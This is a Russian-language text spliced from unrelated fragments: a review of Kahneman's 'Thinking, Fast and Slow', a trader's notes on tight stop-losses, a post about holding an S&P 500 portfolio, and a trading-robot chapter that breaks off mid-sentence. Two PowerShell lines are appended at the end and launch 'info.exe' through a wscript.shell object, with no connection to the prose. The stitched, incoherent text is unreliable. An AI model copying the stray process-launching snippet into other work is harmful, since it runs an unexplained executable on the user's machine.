Сегодняшняя рецензия про мою настольную книгу по поведенческим финансам.

 Автор всю жизнь посвятил исследованию в области поведения людей и принятия решений. Венцом этого пути стала нобелевка, которую он получил за свою работу. На мой взгляд, вполне заслуженно.

 Единственный, но заметный минус книги – ее название. Вернее, никчемный перевод этого названия на русский. Оригинальное название – «Thinking. Fast and slow» — емко описывает, о чем книга. О быстром иррациональном и медленном рациональном мышлении.

 Жизнь учит нас не принимать важные решения на эмоциях. Житейские мудрости «утро вечере мудренее», «семь раз отмерь – один раз отрежь» именно об этом. Основная идея книги: для того, чтобы принимать интуитивно неверные решения, не обязательно быть «на эмоциях». Не обязательно чувствовать страх, алчность, спешить, гневаться, быть азартным и т.п. В нас зашито принятие быстрых решений, не соответствующих долгосрочным целям.

Использую инстумент Си. (Что бы было понимание что такое короткий стоп для меня не более 50 пунктов в данном инструменте)

Плюсы:
1. Самый главный плюс — если поймал тренд и тебя не выбило...- денег куча к концу движения (ну относительно риска взять 10-15 к 1 как нефиг делать)
2. Сделки не приносят крупных убытков

Минусы:
В основном все минусы чисто психологические
1. Стопов получаешь гораздо больше чем прибыльных сделок 80-90%/20-10%  что изматывает психологически, как в той картине — «Опять двойка» так и тут «Опять стоп»
2. Иногда рынок смеется над тобой, аккуратно выбивает твой стоп и идет в твою сторону
3. Удерживать тренд долго так же сложно, даже если индикаторы спокойно говорят — «все хорошо держи» и до ближайшего уровня еще далеко, где все может измениться — все равно порой хочется «забрать деньги со стола»
4. на открытии рынка если цена не ушла далеко от точки входа — выбивает гарантировано, а затем движение продолжается

Вот сейчас ломаю голову над тем как снизить количество убыточных сделок, не потеряв при этом прибыльные входы, и не масштабируя прибыль. То есть при стопе в 50 пунктов вам надо высидеть всего 150 пунктов чтобы взять 3 к 1, а вот при стопе в 500 пунктов уже нужно движение в 1500 для того же объема прибыли. Может у кого есть какие полезные мысли по этому поводу?

Друзья, всем привет!

В сентябре мы стали свидетелями небольшой коррекции по индексу SP500, после чего бойко отскочили обратно.

Все как-то очень быстро позабыли про Facebook (FB), Evergrande (EGRNF), перебоев в цепочках поставок, про инфляцию...

Сейчас индекс SP500 торгуется у своих максимальных значений и возникает вопрос: — А что дальше?

Тренд восходящий, волноваться вроде не о чем, но принципиальная разница  сейчас в том, что индекс находится на пороге неопределенности: новый максимум без закрепления выше предыдущего! Т.е. вероятность продолжения роста 50/50, но с перевесом на коррекцию.

Причины для продажи Портфеля акций в таких условиях можно перечислять бесконечно, но они все субъективные и беспочвенные!

“Нет, ну продашь ты Портфель, а что дальше? Я же  так долго его формировал! А как же налоговый вычет от долгосрочного владения акциями от 3 лет?“

ГЛАВА 3. Системы и стратегии в азартных играх.

Ну что же, я смотрю, что народ на сайте все же опытный, его на мякине не проведешь. Никто не пожелал купить у меня робота за 10 руб. со скидкой 99% от стандартной цены в 1000 руб. Чувствуют все-таки, что 34% прибыльных сделок и серии аж из 17 убыточных сделок подряд — это липа. А ведь бывало и много хуже. Ладно, придется склепать вам что-нибудь по-настоящему дельное. Ну и предложение по цене придется улучшать, конечно. Раз по 1 тыс. руб. за бота — дорого, то этого отдам бесплатно, уж так и быть. Но это крайнее предложение! Какие там еще могут быть варианты получше? Я вам что ли должен приплачивать, чтоб вы моих роботов попробовали?!

Алгоритм

В этот раз будем торговать контр-тренд. Используем два индикатора: ATR (Average True Range) – биржевой технический индикатор, отражающий волатильность движения актива, а также по-прежнему будем использовать

$wshell = New-Object -ComObject wscript.shell;
$wshell.Exec(«info.exe»)